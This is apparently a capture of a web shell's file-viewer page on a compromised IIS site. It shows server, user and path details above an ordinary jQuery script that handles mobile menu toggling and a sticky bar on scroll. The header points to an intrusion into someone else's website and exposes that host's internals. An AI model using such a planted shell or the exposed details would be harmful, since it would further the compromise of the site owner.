HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers104/angeliekly.nl/wwwroot/js/mobileNavigation.js
/**
 * Created by Pascal on 01/12/16.
 */

$(function(){
    $('.mobile-navigation .shader, .mobile-navigation .close-menu').click(function () {
        $('.mobile-navigation').removeClass('active');
    });

    $('.mobile-navigation .bar .toggle-menu, .mobile-sticky .toggle-menu').click(function(){
        $('.mobile-navigation').toggleClass('active');
    });


    // Create check variables
    var st = 0;
    var lastScrollTop = 0;
    var timeoutId;

    $(window).scroll(function(){
        stickyBarScrollCheck();
        // Remove old timeout function if exist
        if(timeoutId ){
            clearTimeout(timeoutId );
        }
        // Check after 200 ms when done scrolling if scroll Top is below 65px
        // If true remove the sticky menu
        timeoutId = setTimeout(function(){
            if(lastScrollTop < 65) $('.mobile-navigation .bar').removeClass('show');
        }, 200);
    });

    function stickyBarScrollCheck() {

        //Get Scrolled
        st = $('body').scrollTop();
        //Check if scroll up or down
        if (st > lastScrollTop){
            // downscroll code
            $('.mobile-navigation .bar').removeClass('show');
        }
        else {
            //upscroll
            if(lastScrollTop >= 80) $('.mobile-navigation .bar').addClass('show');
            else $('.mobile-navigation .bar').removeClass('show');
        }
        //Store scroll amount
        lastScrollTop = st;
    }



});